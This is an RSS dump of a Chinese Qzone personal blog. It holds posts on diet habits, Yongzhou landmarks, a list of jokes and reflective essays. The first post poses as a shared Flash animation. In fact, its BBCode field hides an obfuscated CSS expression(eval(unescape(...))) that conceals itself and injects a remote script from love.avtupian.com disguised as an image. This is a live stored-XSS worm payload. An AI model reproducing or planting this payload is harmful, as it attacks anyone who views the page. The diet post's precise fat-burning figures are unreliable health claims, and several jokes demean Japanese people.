http://14933858.qzone.qq.com Wed, 25 Nov 2009 20:01:04 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 20 Jun 2009 16:47:34 GMT http://14933858.qzone.qq.com/blog/1245516454 ]]> http://14933858.qzone.qq.com/blog/1245516454#comment 1032 Sat, 20 Jun 2009 16:47:34 GMT http://14933858.qzone.qq.com/blog/1245516454 http://14933858.qzone.qq.com/blog/1240394311

这简直是令人不可思议的美丽及惊奇,我为之赞叹!虽然这不出于我手之作,是我无意从朋友那里转载而来,但我还是想与大家共享.朋友们,来吧,来欣赏她的美;更欢迎转载,我们共同拥有她。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://14933858.qzone.qq.com/blog/1240394311#comment 4616 Wed, 22 Apr 2009 09:58:31 GMT http://14933858.qzone.qq.com/blog/1240394311 http://14933858.qzone.qq.com/blog/1226227328 早餐在饮食计划中，起着决定性的作用。人处于睡眠状态时，新陈代谢的速度会达到最低。随着清晨的苏醒，新陈代谢会逐渐回复正常水平。醒来后越快吃早餐，新陈代谢的速度就提高地越快。

要想变年轻，首先要养成饮食好习惯，摒弃饮食误区，主要有以下十点，记住了哦

。

1、清晨醒来时多吃食物
这是更快燃烧脂肪至关重要的一个环节。早餐在饮食计划中，起着决定性的作用。人处于睡眠状态时，新陈代谢的速度会达到最低。随着清晨的苏醒，新陈代谢会逐渐回复正常水平。醒来后越快吃早餐，新陈代谢的速度就提高地越快。如果你是个晨练爱好者，运动前要保证吃一个香蕉，运动后再吃早餐。茶或咖啡不可代替早餐，燕麦片拌水果，或是一个熟鸡蛋和一碗粥、面包，都是早餐不错的选择。
2、来不及吃早餐别空手上班
如果你来不及吃早餐，应事先准备好一个粗面粉面包、一点水果如香蕉和一瓶酸奶带到办公室。一样，饿的时候，就能随手取到一份强力早餐，为工作及时“加油”。
3、和孩子一样喝奶
一天喝三杯酸奶的女人，会比没喝酸奶的人多消耗60%的脂肪。是什么让酸奶变得如此之神奇，答案是酸奶里丰富的钙离子。它充当着催化剂，使身体能更快地燃烧脂肪。酸奶搭配豆腐，蔬菜，谷类食品食用，会更好地发挥效果。
4、睡不好会发胖
下次午夜时，还对肥皂剧欲罢不能时，你得对自己说：“睡眠不足，很容易长胖的。”无形中给自己一种压力。每天睡5～6小时的人，平均比每天睡7～8小时的人重6～8磅。当正常睡眠时间被剥夺时，身体会产生大量的抗压激素，以减缓新陈代谢的速度，同时第二天的食欲也会增强。如果早晨必须7点起床，前天晚上最好在11点左右就寝。睡觉前不要看电视，可以泡个热水澡，或者读本不错的小说。

5、蜂蜜　人体细胞忠实的捍卫者
面包涂蜂蜜是不是你爱吃的早点?不妨用深暗颜色的蜂蜜，而不用浅色的蜂蜜。据美国一项研究发现，深暗色的蜂蜜例如森林蜂蜜对人体细胞特别有效，因为它含有丰富的抗氧化作用的保护细胞的物质。并对血液大有好处，能预防心脏循环系统的疾病。
6、不停地运动
把日常锻炼分为两部分，例如：清晨20分钟的力量练习，晚饭后半小时的散步，新陈代谢的速度将会增大一倍。就是说分阶段练习，比一次性练习更容易消耗热量。每小时抽出5分钟的时间随便走走，同样会收效。但是不要走入这样的一个误区，不要认为运动一秒都会奏效的。
7、饮食宜粗不宜细
一项最新的科学研究表明，在瘦身过程中关键不是摄入纤维素的量，而是何种纤维素可在消化过程中起到最好的催化脂肪消耗作用。科学家通过对被实验对象胰岛素指标的观测，来研究纤维素在减肥过程中所起的作用，结果是：经常吃健康，未经加工过的水果蔬菜、全麦面包比那些食用加工过的淀粉食品多消耗80%的热量，未经加工食品中的纤维是直接被人体所吸收，而加工过的纤维却是分解成糖分被人体所吸收。随着体内糖分的增加，也会使胰岛素吸附脂肪的能力增加，从而使体内的脂肪堆积。
8、五分钟完全放松
当一个人处于完全放松的状态下，身体不会产生抗压激素，从而会感觉舒适宜人。人在这种放松状态下，紧张的情绪得到了释放，受压的肌肤也获得了休憩感。因此，不妨时常提醒自己放松5分钟吧!
9、餐前餐后多补充水分
饭前饭后都应补充大量的水分。身体缺水时，新陈代谢的水平，会比原先降低减少2%。这时候避免喝茶、苏打水、咖啡等含有咖啡因的饮料。在咖啡因的作用下，身体只会吸收一半的水分。
10、精神食粮
谁想脑子灵，思维敏捷和工作效率高，谁就应多吃碳水化合物丰富的食品和补充维生素B。核桃、粗面粉面包和香蕉是你首选的壮脑品，因为它们供给你脑力劳动所必需的精神营养。 ]]> http://14933858.qzone.qq.com/blog/1226227328#comment 521 Sun, 09 Nov 2008 10:42:08 GMT http://14933858.qzone.qq.com/blog/1226227328 http://14933858.qzone.qq.com/blog/1226227213














关于血型的考察













............童年的生活真的很有趣,太多太多让我们回味无穷了,朋友就让我们自己慢慢去体会那份永藏心底的快乐吧!


]]> http://14933858.qzone.qq.com/blog/1226227213#comment 521 Sun, 09 Nov 2008 10:40:13 GMT http://14933858.qzone.qq.com/blog/1226227213 http://14933858.qzone.qq.com/blog/1224266477 ]]> http://14933858.qzone.qq.com/blog/1224266477#comment 9 Fri, 17 Oct 2008 18:01:17 GMT http://14933858.qzone.qq.com/blog/1224266477 http://14933858.qzone.qq.com/blog/1220464550 ]]> http://14933858.qzone.qq.com/blog/1220464550#comment 1544 Wed, 03 Sep 2008 17:55:50 GMT http://14933858.qzone.qq.com/blog/1220464550 http://14933858.qzone.qq.com/blog/1218362541 绿天蕉影 绿天庵，是唐代著名书法家、人称草书圣手的怀素出家修行练字的地方。怀素幼年出家为僧，酷爱书法，因无钱买纸练字，便在庵边种了 很多芭蕉，以蕉叶为纸。 据说秃笔成冢，洗墨成池，庵后一处刻有“砚泉”二字，是怀素磨墨取水的地方，右角有“笔冢”塔，怀素写秃了的笔都埋于此。后人因庵内外芭蕉成林，绿荫如云，故称之为“绿天蕉影”。

永州文庙 永州文庙，俗称孔子庙，座落于城南东门岭，初建于宋嘉定元年（1208），现存庙宇为清乾隆四十年（1775）重建。 庙系砖木结构，规模恢宏，气势雄伟。大成殿为宫殿式，红墙琉 璃，龙凤柱檐，精雕细琢，形象逼真，具有很高的历史艺术价值。
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朝阳旭日 朝阳岩，位于永州市芝山区萧水西岸。因每当旭日东升，红霞映照 亭阁，雾霭笼罩苍林，洞口前河水粼光叠影，景色万千，所以有“朝阳 旭日”之称。 唐代永泰元年(765)，道州刺史著名诗人元结率兵途经永州，系舟岩 下，爱其山水佳胜，以其岩口东向取名“朝阳” 并为之作《朝阳岩铭》 及《朝阳岩诗》，从此流芳千古，名传万世。柳宗元谪居永州期间，搜 奇揽胜，常到此游赏并题有《渔翁》《江雪》等诗。此后历代文人骚客 作诗题咏甚多，其碑作石刻具有一定历史价值。

萍岛 萍岛，在潇湘二水汇流处，为永州著名风景胜地，唐宋以来，即负 盛誉。湖南八景之一的“潇湘夜雨”图所绘也是这里的旖旎风光。 每逢春夏水涨，立于岛上石矶，举目四望，黄叶古渡，迥龙宝塔， 江天风月，远浦归帆，渔舟唱晚，画意诗情，尽入眼底。岛如随水沉浮 一叶扁舟，风韵万般，人称“萍洲春涨”，为永州八景之一。
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愚溪眺雪 愚溪，原名冉溪，俗称染溪。柳宗元更名为“愚”，作“八愚诗” 及“愚溪诗序”，山川秀美与诗人之灵气，相映生辉，成为令人神往之 胜地。 冬寒之日，雪漫漫，鸟飞绝，人踪灭，水天一色，银装素裹唯古桥 独峙，宛然一幅妙图。“愚溪眺雪”便成为“永州八景” 之一。

恩院风荷 碧云池，又称“东湖”，地处永州城南门内。唐刺史李衢曾在此建芙蓉馆。殿前有一口池，池呈“中”字形，水清如镜。池中旧有水亭，曰：“洗甲亭”，池侧建有碧云庵。池内种荷，亭亭玉立。夏日荷香馥郁，令人沉醉。月夜，游人坐桥墩上，凭栏欣赏，古松掩映，风摇荷影，幽雅宜人。 因碧云池对面有报恩院（又名恩范院），故称“恩院风荷”。为永州八景之一。
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迥龙塔 迥龙塔建于明代万历甲申年（1584），塔高37.25米，简体砖石结构，平面八角形，外观七级，里面五层，塔身中空。挺拔雄伟，屹立于永州市城北潇水东岸。 塔为邑人左佥都御史吕藿倡建。底层门额行书“迥龙宝塔”为钦差巡抚湖广右佥都御史闽人陈省所题，塔身腰身檐斗拱结构造型保存了宋代建筑艺术遗风，为湖南省重点保护的砖塔之一。

香零山 香零山，屹立于永州城东茆江桥西南潇水中央，旧产香草闻名于世，历代王朝列为贡品。古称零陵郡以此山名。 山为天然石矶结构，地处中流，山势险要。山上的观音阁建于清同治癸酉年（1863年），现塑有观世音菩萨泥像。柳宗元、徐霞客曾登此山，留有诗作、游记。若雨后日出，烟锁山脚，雾雨朦胧，往来舟楫，若隐若现，给人一种烟波浩渺的意境，因而有“香零烟雨”之称，为永州八景之一。 ]]> http://14933858.qzone.qq.com/blog/1218362541#comment 8 Sun, 10 Aug 2008 10:02:21 GMT http://14933858.qzone.qq.com/blog/1218362541 http://14933858.qzone.qq.com/blog/1212244396 01.早起的鸟儿有虫吃，早起的虫儿被鸟吃！
02.和一MM争论鲸鱼是不是鱼，最后我说“日本人也带个人字”，她这才同意鲸鱼不是鱼。
03.铁杵能磨成针，但木杵只能磨成牙签，材料不对，再努力也没用。
04.如果回帖是一种美德，那我早就成为圣人了。
05.人生不能像做菜、把所有的料都准备好才下锅。
06.听说女人如衣服，兄弟如手足。回想起来，我竟然七手八脚的裸奔了20年！
07.穿别人的鞋，走自己的路，让他们打的找去吧。
08.有一个很古老的传说，说是在北邮校园内能看到美女的人会长生不老……
09.难道全世界的鸡蛋联合起来就能打破石头吗？！所以做人还是要现实些……
10.不怕虎一样的敌人，就怕猪一样的队友！
11.夏天就是不好，穷的时候我连西北风都没得喝……
12.我也曾有过一双翅膀，不过我没用它在天上翱翔，而是放在锅里炖汤……
13.水至清则无鱼，人至贱则无敌！
14.我不是随便的人，我随便起来不是人。
15.今天一群日本人来我校参观——说实话，这是我第一次看到穿衣服的日本人！
16.思想有多远，你就滚多远！！！
17.我很穷，我家的佣人也很穷，我家的园丁也很穷，我家的司机也很穷……
18.银行收费时说：“这符合国际惯例！”服务时却说：“要考虑中国国情！”
19.骑白马的不一定是王子，他可能是唐僧；带翅膀的也不一定是天使，他可能是鸟人。
20.怀才就像怀孕，时间久了才能让人看出来。
21.站的更高，尿的更远。
22.一大学生 最低奋斗目标：农妇，山泉，有点田
23.我朋友在他女友手机里的名字是“他”，后来他们分手了，就变成了“它”……
24.没什么事不要找我，有事更不用找我！
25.你以为我会眼睁睁地看着你去送死吗？我会闭上眼睛的！
26.佛曰：“前世的500次回眸才换来今生的一次擦肩而过”。我宁愿用来世的一次擦肩而过来换得今生的500次回眸。
27.我拿什么整死你的爱人……
28.网络就像是监狱，本来是偷了个钱包进来的，等出去的时候就什么都学会了。
29.天使之所以会飞，是因为她们把自己看得很轻……
30.我想早恋，但是已经晚了……
31.师太！你就从了老衲吧！
32.我爱你！关你什么事？
33.学海无涯，回头是岸！
34.生活tmd好玩，因为生活老tmd玩我！
35.这个世界上我只相信两个人，一个是我，另一个不是你。
36.我床上的不知道是谁媳妇，我媳妇不知道在谁的床上！
37.我真想亲口管你爷爷叫声：爹！
38.北科大骗了我大学四年，所以我打算用北科大教我的知识骗社会一辈子！
39.我身边的朋友们啊，你们快点出名吧，这样我的回忆录就可以畅销了~~~
40.当你穿上了爱情的婚纱，我也披上了和尚的袈裟……
41.没见过这么恶心的学校——把期中考试订在5月8号！！！（隐讳）
42.房价越来越高，所以，好男人越来越少……
43.如果我做了皇帝，就封你当太子！
44.我朋友在他女友手机里的名字是“他”，后来他们分手了，就变成了“它”……
45.始终没有沦为一名优秀的大学生，靠的就是坚强品质！
46.妈的，我被人投诉了！客户说我给他的mp3文件没有图像！
47.生活有时就像被太监强奸一样——反抗是痛苦，不反抗还是痛苦！
48.将每个女生后面的男生数减少到6名！
49.东边日出西边雨，导师无情我有情。
50.拥抱真是个奇怪的东西，明明靠的那么近，却看不见彼此的脸。 ]]> http://14933858.qzone.qq.com/blog/1212244396#comment 8 Sat, 31 May 2008 14:33:16 GMT http://14933858.qzone.qq.com/blog/1212244396 http://14933858.qzone.qq.com/blog/1210064430
我感到温暖。
暖暖的疼痛。


因为看到那些照片，原谅我不能把照片贴出来共享。
我想我是个完完整整的人，我有我自己的电影情节，而不是谁谁故事的续集。
只是我偶尔无奈。多么像一个悲伤的隐喻。
胸腔中某个不知道的地方像是突然滚进了一颗石头，滚向了某一个不知名的角落。然后黑暗里传来一声微弱的声响。 水龙头哗哗的声音。
像是突然被打开的闸门，只要没人去关，就会一直无休止地往外泄水。直到泄空里面所盛放的一切。
蹲下来把头埋在手臂间，这样似乎能找到一丝安全感。
有些人一直没机会见，等有机会见了，却又犹豫了，相见不如不见。
有些事一直没机会做，等有机会了，却不想再做了。
有些话埋藏在心中好久，没机会说，等有机会说的时候，却说不出口了。
有些爱一直没机会爱，等有机会了，已经不爱了。
有些人很多机会相见的，却总找借口推脱，想见的时候已经天涯两端了。
有些话有很多机会说的，却想着以后再说，要说的时候，已经没时间了。
有些事有很多机会做的，却一天一天推迟，想做的时候却发现没必要了。
有些爱给了你很多机会，却不在意没在乎，想重视的时候已经没机会爱了。
人生有时候，总是很讽刺。
一转身可能就是一世。
说好永远的，不知怎么就散了。最后自己想来想去竟然也搞不清当初是什么原因分开彼此的。
然后，忽然醒悟，感情原来是这么脆弱的。经得起风雨，却经不起平凡。
本来风雨同舟，天晴便各自散了。也许只是赌气，也许只是因为小小的事。
幻想着和好的甜蜜，或重逢时的拥抱，那个时候会是边流泪边捶打对方，还傻笑着。该是多美的画面。
没想到的是，一别竟是一辈子了。
于是，各有各的生活，各自爱着别的人。曾经相爱，现在已互不相干。
即使在同一城市，也不曾再相逢。某一天某一刻，走在同一条路上，也看不见对方。先是感叹，后来是无奈。
也许很幸福，因为找到另一个适合自己的人。也许不幸福，因为可能这一生就只有那个人真正用心在自己身上。
很久很久，没有对方的消息，也不再想起这个人，也不想再想起这些事了。
很多爱情分道扬镳还是地久天长，其实就在一个忍字。 ]]> http://14933858.qzone.qq.com/blog/1210064430#comment 8 Tue, 06 May 2008 09:00:30 GMT http://14933858.qzone.qq.com/blog/1210064430 http://14933858.qzone.qq.com/blog/1209968142 曾经以为,可以改变几年一尘不变的打工生活,然而失败却来得那么地激烈,没有任何的心理准备!
今天,我又回到了原点,又要开始我的打工旅程,而此时想得最多的就是"工作"二字,囊中羞涩不得不逼迫我快点找个工作去上班！
　　多么希望能早点找个如意的工作，多么希望能早点离开这个陌生的城市，多么希望能早点结束打工的生涯！！！
　　唉，打工，何时才算是尽头？！ ]]> http://14933858.qzone.qq.com/blog/1209968142#comment 512 Mon, 05 May 2008 06:15:42 GMT http://14933858.qzone.qq.com/blog/1209968142